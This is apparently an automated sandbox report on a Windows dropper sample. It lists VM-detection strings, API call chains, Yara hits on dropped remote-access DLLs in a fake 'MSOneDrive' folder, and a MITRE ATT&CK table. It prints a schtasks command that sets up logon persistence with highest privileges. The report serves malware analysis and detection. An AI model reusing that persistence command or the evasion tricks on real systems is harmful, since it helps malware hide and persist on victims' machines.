Source: HTCTL32.DLL.3.dr	Binary or memory string: VMware
Source: client32.exe, 0000000B.00000002.3743777363.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW7
Source: client32.exe, 0000000B.00000002.3743777363.000000000107E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\|
Source: HTCTL32.DLL.3.dr	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: TCCTL32.DLL.3.dr	Binary or memory string: skt%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlTCREMOTETCBRIDGE%s=%s
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.000000000105E000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 0000000B.00000002.3743777363.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: TCCTL32.DLL.3.dr	Binary or memory string: VMWare
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1327778384.00000000010E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: client32.exe, 0000000D.00000003.1389862355.0000000000B02000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 0000000D.00000002.1390690669.0000000000B05000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllh
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1328551007.00000000010E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 00000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}2
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1327778384.00000000010E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	API call chain: ExitProcess graph end node	graph_3-10752
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	API call chain: ExitProcess graph end node	graph_11-83495
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	API call chain: ExitProcess graph end node	graph_11-88570
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Code function: 3_2_00C87884 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_00C87884

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_110AE550 GetLastError,_strrchr,_strrchr,GetTickCount,GetMessageA,TranslateMessage,DispatchMessageA,GetTickCount,GetMessageA,TranslateMessage,DispatchMessageA,GetCurrentThreadId,wsprintfA,wsprintfA,wsprintfA,GetCurrentThreadId,wsprintfA,OutputDebugStringA,wsprintfA,wsprintfA,GetModuleFileNameA,wsprintfA,GetTempPathA,GetLocalTime,_memset,GetVersionExA,wsprintfA,wsprintfA,_fputs,_fputs,_fputs,_fputs,_fputs,_fputs,wsprintfA,_fputs,_strncat,wsprintfA,SetTimer,MessageBoxA,KillTimer,PeekMessageA,MessageBoxA,

11_2_110AE550

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

11_2_11081000

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Code function: 3_2_00C81000 lstrcmpA,GetProcessHeap,HeapAlloc,lstrlenA,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,

3_2_00C81000

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C87884 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00C87884
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C8D978 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00C8D978
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C87A11 SetUnhandledExceptionFilter,	3_2_00C87A11
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C86F73 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00C86F73
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1102F520 _NSMClient32@8,SetUnhandledExceptionFilter,	11_2_1102F520
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1108C020 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	11_2_1108C020
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1115C769 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_1115C769
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11150781 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_11150781
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1102F520 _NSMClient32@8,SetUnhandledExceptionFilter,	13_2_1102F520
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1108C020 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	13_2_1108C020
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1115C769 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_1115C769
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11150781 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_11150781

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: PostMessageA,GetWindowRect,GetWindowLongA,GetClassNameA,GetWindowThreadProcessId,OpenProcess,CloseHandle,FreeLibrary, \Explorer.exe		11_2_1102E710
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: PostMessageA,GetWindowRect,GetWindowLongA,GetClassNameA,GetWindowThreadProcessId,OpenProcess,CloseHandle,FreeLibrary, \Explorer.exe		13_2_1102E710

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_110E9400 GetTickCount,LogonUserA,GetTickCount,GetLastError,

11_2_110E9400

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Code function: 3_2_00C81A80 GetProcessHeap,RegOpenKeyW,lstrlenW,RegSetValueExW,RegCloseKey,GetProcessHeap,GetProcessHeap,HeapAlloc,GetSystemDirectoryW,HeapFree,GetProcessHeap,HeapAlloc,wsprintfW,GetProcessHeap,HeapAlloc,HeapFree,wsprintfW,ShellExecuteW,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

3_2_00C81A80

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_111058F0 GetKeyState,DeviceIoControl,keybd_event,

11_2_111058F0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "MSOneDrive" /tr "C:\Users\user\AppData\Local/MSOneDrive\client32.exe" /RL HIGHEST

Jump to behavior

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_110964D0 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,GetVersionExA,GetSecurityDescriptorSacl,SetSecurityDescriptorSacl,FreeLibrary,CreateFileMappingA,GetLastError,LocalFree,LocalFree,LocalFree,GetLastError,MapViewOfFile,LocalFree,LocalFree,LocalFree,GetModuleFileNameA,GetModuleFileNameA,LocalFree,LocalFree,LocalFree,_memset,GetTickCount,GetCurrentProcessId,GetModuleFileNameA,CreateEventA,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,GetCurrentThreadId,CreateThread,ResetEvent,ResetEvent,ResetEvent,ResetEvent,SetEvent,

11_2_110964D0

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_11096C50 GetTokenInformation,GetTokenInformation,GetTokenInformation,AllocateAndInitializeSid,EqualSid,

11_2_11096C50

Source: client32.exe, 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	Binary or memory string: ProgmanL
Source: client32.exe, client32.exe, 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	Binary or memory string: Shell_TrayWnd
Source: client32.exe, client32.exe, 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	Binary or memory string: Progman
Source: client32.exe, 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	Binary or memory string: Shell_TrayWndTraceRunpluginTimeouth^

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Code function: 3_2_00C87B48 cpuid

3_2_00C87B48

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	11_2_11162513
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: GetLocaleInfoA,	11_2_11159D6E
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	11_2_11161FE8
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	11_2_11162184
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	11_2_111621DF
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	11_2_111620DD
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	11_2_111623B0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	11_2_11162470
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	11_2_111624D7
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	11_2_6C82ECA9
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	11_2_6C82FC28
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	11_2_6C82FDF9
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: EnumSystemLocalesA,	11_2_6C82FEC1
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	11_2_6C82FEE5
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	11_2_6C82FF88
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	11_2_6C82EFC7
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	11_2_6C82FF4C
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	11_2_6C83B8EF
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	11_2_6C82D84F
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	11_2_6C83B9C9
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: GetLocaleInfoA,	11_2_6C83BA0C
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	11_2_6C82FA31
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	13_2_11162513
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: GetLocaleInfoA,	13_2_11159D6E
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	13_2_11161FE8
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	13_2_11162184
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	13_2_111621DF
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	13_2_111620DD
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	13_2_111623B0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	13_2_11162470
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	13_2_111624D7

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_110E8280 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeA,GetLastError,Sleep,CreateNamedPipeA,LocalFree,

11_2_110E8280

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Code function: 3_2_00C87771 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

3_2_00C87771

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_11039030 _calloc,GetUserNameA,_free,_calloc,_free,

11_2_11039030

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_11163293 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

11_2_11163293

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_11134460 wsprintfA,GetVersionExA,RegOpenKeyExA,_memset,_strncpy,RegCloseKey,

11_2_11134460

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_110CD1D0 __CxxThrowException@8,gethostbyname,WSAGetLastError,_memmove,htons,socket,WSAGetLastError,#21,bind,WSAGetLastError,listen,WSAGetLastError,accept,WSAGetLastError,	11_2_110CD1D0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1106AC40 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,	11_2_1106AC40
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_6C8090A0 EnterCriticalSection,LeaveCriticalSection,LeaveCriticalSection,WSAGetLastError,socket,WSAGetLastError,#21,#21,#21,bind,WSAGetLastError,closesocket,htons,WSASetBlockingHook,WSAGetLastError,WSAUnhookBlockingHook,closesocket,WSAGetLastError,WSAUnhookBlockingHook,closesocket,WSAUnhookBlockingHook,EnterCriticalSection,LeaveCriticalSection,GetTickCount,InterlockedExchange,	11_2_6C8090A0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_110CD1D0 __CxxThrowException@8,gethostbyname,WSAGetLastError,_memmove,htons,socket,WSAGetLastError,#21,bind,WSAGetLastError,listen,WSAGetLastError,accept,WSAGetLastError,	13_2_110CD1D0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1106AC40 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,	13_2_1106AC40

Source: Yara match	File source: 13.0.client32.exe.9d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.client32.exe.6cb70000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.client32.exe.9d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.client32.exe.6cb70000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.client32.exe.9d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.client32.exe.6cb40000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.client32.exe.9d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.client32.exe.111a3f08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.client32.exe.6cb40000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.client32.exe.111a3f08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000000.1369497547.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.1388077049.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3742058275.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1391294248.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1390661255.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client32.exe PID: 7384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 7512, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\MSOneDrive\AudioCapture.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\MSOneDrive\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\MSOneDrive\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\MSOneDrive\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\MSOneDrive\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	14 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 Input Capture	12 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	2 Valid Accounts	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	1 Windows Service	2 Valid Accounts	1 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	21 Access Token Manipulation	1 Timestomp	NTDS	33 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Windows Service	1 DLL Side-Loading	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	23 Process Injection	1 Masquerading	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	2 Valid Accounts	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	23 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

